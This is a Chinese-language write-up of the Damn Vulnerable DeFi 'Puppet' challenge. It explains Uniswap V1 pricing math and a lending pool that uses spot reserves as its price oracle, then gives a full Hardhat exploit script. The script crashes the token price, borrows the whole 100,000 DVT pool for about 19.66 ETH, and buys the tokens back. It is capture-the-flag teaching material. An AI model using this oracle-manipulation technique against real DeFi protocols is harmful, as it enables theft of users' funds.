跳到主要内容

puppet

题目链接:https://www.damnvulnerabledefi.xyz/challenges/8.html

题目描述:

有一个借贷池提供 DVT 代币的借贷服务,但需要先存入两倍价值的 ETH 作为抵押物。现在这个池子里有 100000 个 DVT。

UniswapV1 现在有交易对 ETH-DVT,且有 10ETH 和 10DVT。

现在你有 25 个 ETH 和 1000DVT。你需要窃取借贷池中的所有代币。

借贷合约 PuppetPool.sol 提供的借贷的功能如下

// 借出 DVT,但前提是存入两倍价值的等额 ETH
function borrow(uint256 borrowAmount) public payable nonReentrant {
// 计算需要存入的ETH数量
uint256 depositRequired = calculateDepositRequired(borrowAmount);
require(msg.value >= depositRequired, "Not depositing enough collateral");

// 返还多存的ETH
if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}

// 保存 msg.sender 存入的ETH数量
deposits[msg.sender] = deposits[msg.sender] + depositRequired;

// 将 DVT token 转给 msg.sender
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");

emit Borrowed(msg.sender, depositRequired, borrowAmount);
}

该方法主要做了以下几件事:

  • 根据借出的 DVT 数量,计算需要存入 ETH 的数量 depositRequired
  • 确保调用时存入的 ETH 数量是大于 depositRequired,如果存入的多了,会返还差值。
  • 保存存入的 ETH 数量,并借出 DVT

计算需要存入 ETH 的数量是根据 uniswapv1 中配对合约 ETH-DVT 的流动性来计算。这里先简单介绍下 uniswapv1 中的合约及其方法。

共有两种合约:

  • Factory 工厂合约,用来创建并部署配对合约。核心方法是 createExchange(token: address): address 用来创建 ETHtoken 的配对合约并部署,返回配对合约地址。

  • Exchange 交易合约,也叫配对合约。在 v1 版本中只有 ETHToken 的交易对,不存在 TokenToken 的交易对。

当通过工厂合约创建了配对合约后,便能调用方法 addLiquidity 向其中添加流动性,也就是将 TokenETH 存入到配对合约中,同时流动性提供者会获得 LP token 作为提供流动性的凭证。

@payable
addLiquidity(
min_liquidity: uint256,
max_tokens: uint256,
deadline: uint256
): uint256

调用该方法时,除了参数外还需要发送 ETH,参数详解如下:

  • min_liquidity 流动性提供者期望获得的最少的 LP token 数量,如果最后获得的小于该值,则交易会回滚
  • max_tokens 流动性提供者想要提供的最大代币数量,如果计算得出的代币数量大于该值,而又不想提供时,则交易回滚
  • deadline 提供流动性的截止时间

当配对合约中有了流动性,其他交易者便能进行交易。不同于中心化交易所,交易价格由订单簿的最新成交价确定。uniswap 中的交易价格是根据恒定乘积公式计算的

恒定乘积公式:k=x×y恒定乘积公式:k = x \times y

其中 xxyy 是配对的两个币种的储备量。

假设有配对合约 ETH-USDT, 其中 ETH 有 10 个作为 xxUSDT 有 100 个作为 yy。则 k=10×100=1000k = 10 \times 100 = 1000

此时要出售 Δx\Delta xETH, 得到 USDT 的数量为 Δy\Delta y。也就相当于池子中 ETH 的数量变为了 x+Δxx + \Delta x,根据恒定乘积公式:

x×y=(x+Δx)(yΔy)yΔy=x×yx+ΔxΔy=yx×yx+ΔxΔy=y×(x+Δx)x+Δxx×yx+ΔxΔy=x×y+y×Δxx×yx+ΔxΔy=y×Δxx+Δx\begin{align*} & x \times y = (x + \Delta x)(y - \Delta y) \\ & y - \Delta y = \frac {x \times y}{x + \Delta x} \\ & \Delta y = y - \frac {x \times y}{x + \Delta x} \\ & \Delta y = \frac {y \times (x + \Delta x)}{x + \Delta x} - \frac {x \times y}{x + \Delta x} \\ & \Delta y = \frac {x \times y + y \times \Delta x - x \times y}{x + \Delta x} \\ & \Delta y = \frac {y \times \Delta x}{x + \Delta x} \end{align*}

同理出售 Δy\Delta yUSDT ,得到 ETH 数量为 Δx=x×ΔyyΔy\Delta x = \frac {x \times \Delta y}{y - \Delta y}

这是在没有手续费的情况下的计算公式,但通常情况中会收取 0.3% 的手续费,并根据流动性提供者所持有 LP token 的比例分配。

在存在手续费的情况下,要出售 Δx\Delta xETH,相当于实际出售的 ETH 数量是 Δx×(10.3%)=Δx×0.997\Delta x \times (1 - 0.3\%) = \Delta x \times 0.997uniswap 为了计算方便,将分子分母同时乘以 1000。

Δy=y×Δxx+ΔxΔy=y×(Δx×0.997)x+(Δx×0.997)Δy=y×(Δx×0.9977)×1000x×1000+(Δx×0.997)×1000Δy=y×Δx×997x×1000+Δx×997\begin{align*} & \Delta y = \frac {y \times \Delta x}{x + \Delta x} \\ & \Delta y = \frac {y \times (\Delta x \times 0.997)}{x + (\Delta x \times 0.997)} \\ & \Delta y = \frac {y \times (\Delta x \times 0.9977) \times 1000}{x \times 1000 + (\Delta x \times 0.997) \times 1000} \\ & \Delta y = \frac {y \times \Delta x \times 997}{x \times 1000 + \Delta x \times 997} \end{align*}

uniswap 的 v1 版本中提供了几个方法用于查询价格

  • getEthToTokenInputPrice(eth_sold: uint256): uint256 输入卖出的 ETH 数量,返回得到的 token 数量
  • getTokenToEthOutputPrice(eth_bought: uint256): uint256 输入要买的 ETH 数量,返回需要给出的 token 数量
  • getEthToTokenOutputPrice(tokens_bought: uint256): uint256 输入要买的 token 数量,返回需要给出的 ETH 数量
  • getTokenToEthInputPrice(tokens_sold: uint256): uint256 输入要卖的 token 数量,返回得到的 ETH 数量

兑换相关方法如下:

  • ethToTokenSwapInput(min_tokens: uint256, deadline: uint256): uint256ETH 兑换 tokenmin_tokens 是期望得到的最少的 token 数量。如果调用该方法时发送的 ETH 数量不足以兑换期望的 token 数量,则交易失败。如果足够,则全额兑换并执行交易。函数返回值为可兑换的 token 数量。
  • ethToTokenSwapOutput(tokens_bought: uint256, deadline: uint256): uint256ETH 兑换 token:调用该方法时发送 ETH 用以兑换 tokens_bought 数量的 token ,如果发送的 ETH 数量过多,则会返还多余的数量,函数返回值为实际出售的 ETH 数量
  • tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256, deadline: uint256): uint256token 兑换 ETH
  • tokenToEthSwapOutput(eth_bought: uint256, max_tokens: uint256, deadline: uint256): uint256token 兑换 ETH

再回到题目中,借贷合约 PuppetPool.sol 中计算需要存入的 ETH 数量的方法 calculateDepositRequired

// 计算需要存入的 eth 数量
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
// 抵押物的价值 = 借出的数量 * 价格 * 2
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}

// 计算每个 token 的价值等同于多少ETH
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

从代码中可以看出,token 的价值来自于 uniswap 配对的两个币种的储备量。

假设有配对合约 ETH-UNI,其中有 100 个 ETH 和 10 个 UNI ,则 1UNI 的价值等同于 10ETH,即每个 token 价值等于 ETH储备量Token储备量\frac {ETH储备量}{Token储备量},如果能够增加分母的值或减小分子的值,则会降低每个 token 的价值。

已知条件中黑客持有 25 个 ETH 和 1000DVT,因此可以用黑客持有的 1000DVT 去兑换 ETH,此举会大大增加分母的值并减小分子的值。也就意味着 DVT 的价值会变的很低。

之后再去进行借贷,需要抵押的 ETH 将只需要很少的数量。最后再从 uniswap 中重新兑换回 DVT

it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallUniswap = this.uniswapExchange.connect(attacker)

// 授权 uniswap 支配 attacker 的 DVT token
await attackerCallToken.approve(
attackerCallUniswap.address,
ATTACKER_INITIAL_TOKEN_BALANCE
)

// 初始余额
// attacker: ETH balance => 25
// attacker: DVT balance => 1000
// uniswap: ETH balance => 10
// uniswap: DVT balance => 10

// 在 uniswap 中使用 DVT 兑换 ETH
await attackerCallUniswap.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('1'),
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// attacker: ETH balance => 34.900571637914797588
// attacker: DVT balance => 0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010

// 计算需要抵押的 ETH 数量
const collateralCount =
await attackerCallLendingPool.calculateDepositRequired(
POOL_INITIAL_TOKEN_BALANCE
)
// 借出 DVT
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
value: collateralCount
})
// collateralCount = 19.6643298887982
// attacker: ETH balance => 15.236140794921379778
// attacker: DVT balance => 100000.0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010.0

// 计算从 uniswap 兑换 ATTACKER_INITIAL_TOKEN_BALANCE 数量的 DVT 需要多少 ETH
const payEthCount = await attackerCallUniswap.getEthToTokenOutputPrice(
ATTACKER_INITIAL_TOKEN_BALANCE,
{
gasLimit: 1e6
}
)
// payEthCount = 9.960367696933900101

// 兑换 DVT
await attackerCallUniswap.ethToTokenSwapOutput(
ATTACKER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 2,
{
value: payEthCount,
gasLimit: 1e6
}
)
// attacker: ETH balance => 5.275716174066780228
// attacker: DVT balance => 101000.0
// uniswap: ETH balance => 10.059672562872331085
// uniswap: DVT balance => 10.0
})

攻击者利用 uniswap 操纵价格,用 19.6643298887982ETH 作为抵押物成功借出了 100000DVT。而如果直接借的话,则需要付出的成本为 200000ETH

最后执行 yarn puppet 测试通过!

完整代码